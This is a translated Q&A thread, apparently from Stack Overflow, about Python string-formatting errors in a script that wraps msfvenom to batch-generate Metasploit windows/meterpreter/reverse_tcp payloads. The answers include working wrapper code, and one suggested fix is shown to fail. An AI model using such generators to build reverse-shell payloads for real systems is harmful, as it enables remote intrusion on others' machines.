2016-08-02 15 views
1

我试图用Python 2.7.12创建一个Metasploit负载生成器。它使用msfvenom产生许多恶意有效载荷。在Python中传递命令行参数时将字符串附加到字符串中2.7.12

首先我使用%s%d格式运算符。

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop)) 

此错误返回

/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d 
(OptionParser::InvalidArgument) 
from /usr/bin/msfvenom:283:in `<main>' 
Traceback (most recent call last): 
    File "menu.py", line 74, in <module> 
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop)) 
TypeError: unsupported operand type(s) for %: 'int' and 'str' 

我能够理解msfvenom无法解析我传递参数,这是迭代标志,-i。之后,我看到Python的一个错误,TypeError

进行一番研究,我决定使用.format(),因为

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}", 
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost, 
lport, encode, iteration, formatop, payname, formatop) 

返回

AttributeError: 'int' object has no attribute 'format' 

我应该怎么办?也有反正我可以优化我的程序,而不是复制和粘贴同一行,并更改15个选项的有效载荷类型?

+1

您需要在字符串上调用'format',即''值为:{}“。format(1)' – maxymoo

回答

0

你不能在call(...)结果使用format 。你应该格式化每个组件:

with open("{}.{}".format(payname, format), 'w') as outfile: 
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile) 

注意,重定向替换为明确打开的文件,因为除非你启用不安全shell=True参数subprocess.call不会传递到外壳。使用不同的有效载荷多次重复这一点很容易:使用有效载荷创建一个数组,然后将此代码放入一个循环(或者,也许更清晰,一次调用一个有效载荷的函数)。

-1

一个好的技巧是使用split你的命令打造了传递给call名单,这将使变量替换清洁过:

call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} > {5}.{6}" 
    .split().format(lhost, lport, encode, iteration, formatop, payname, formatop)) 
+0

它应该是shlex.split:https://docs.python.org/2 /library/shlex.html – Owen

+0

这是否适用于Python 2.7.x?返回的错误:'AttributeError:'list'object has no attribute'format'' – UncleAlan

相关问题